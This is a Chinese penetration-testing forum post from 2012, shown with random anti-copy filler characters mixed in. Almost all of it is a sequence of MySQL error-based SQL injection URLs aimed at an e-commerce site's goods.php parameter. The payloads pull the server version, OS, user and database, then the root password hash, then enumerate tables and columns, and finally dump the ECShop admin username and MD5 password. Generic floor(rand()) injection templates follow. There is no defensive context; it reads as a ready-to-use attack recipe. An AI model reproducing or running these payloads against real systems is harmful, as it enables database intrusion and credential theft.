中国网络渗透测试联盟

标题: 盲注详细内容 [打印本页]
作者: admin    时间: 2012-9-5 14:59
标题: 盲注详细内容
判断版本号
8 _5 O! W- {8 U2 o7 r, H6 u- Thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, k3 g9 i3 j4 R9 c
% ~3 p1 r! o. o) i判断系统0 _  ?1 N6 \5 T9 m  n

! P- @, ~, k/ ]; j) L! z% xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%232 u0 l2 y2 k- f0 z0 M0 n4 o3 F
2 }' Z$ S! h! F0 A0 B

% r( q7 f7 t& k( Y% P8 t/ K" ?: f0 A. H0 c7 k: |- h
当前 user()
! s9 V8 Y7 o# Z* z/ |
3 L1 j& Y' A5 e0 y+ i! Shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 d2 E+ |' N4 t. W- m7 O
3 v& F! j7 c  @/ p! Y; e+ T1 N3 e9 s0 Q8 K
# A9 j3 B- P( |% c' [
当前 database()! d8 u4 ~) e; |. x( _5 p
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 q9 |; o. I0 ^. a: ?; j, z* E8 p4 q
# j* u" e& ?* d9 _

2 v9 L! I# \6 m5 L  t. z  J4 h7 `/ W! j8 G3 d1 S; ^, m
root hash9 n  u0 q0 Z. q3 A3 ?5 Z. h

+ V2 H- A5 m& q# H4 mhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 s* _7 o: m- d5 r5 z" b# T5 m
* f9 v; ]/ L" G7 D1 H
7 Z' M3 }- b5 ]& A- i' f% P

$ n7 c/ G/ ~" w, M" D当前 数据库表名0 h) K8 F6 ]$ Q  [. ^( [
" H. S7 F' F! {8 q' o! u% Q
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
2 g8 Y) C  p8 b5 P; D9 g, V6 D& w$ M; Q3 v
2 h2 y+ z  }1 C. E

0 h/ B' w1 T. }) j( n4 r当前 数据库 user_name 字段
& B' T7 d. e3 S9 e* y1 @
% r7 O* v5 W  J3 D  q5 e( S8 Yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
+ x# H; c6 j$ ?5 m& v/ w9 t: I: ]9 J8 T
当前 数据库 字段 password! j  r' ]  G1 m9 H! s! H
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 x6 Q, ^- q$ L9 o  y+ t
3 j0 T! l) V1 O) }- O/ ~: _, H
8 b0 y6 y3 A: w( V' R2 r+ c, w& z8 X
, b6 y: n1 M( s" d6 i
获得 admin passwd(md5)4 j: |( u! f7 b) S2 g2 {

2 o$ R% ~- A8 |  L0 Y
# V' D1 |5 e9 E8 N8 N. h- Shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
% _; d2 Q$ C% v" h9 c0 s  w+ E: X3 g
报错注射
2 p9 T% P0 }( s$ ]SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
- ]; u  x- p/ n$ j  I8 q- w" O# V, |! n  d$ _; f/ i
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
7 _( @2 @& q% _+ L2 d7 o8 h
% U. B: s( a( D% E, band(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2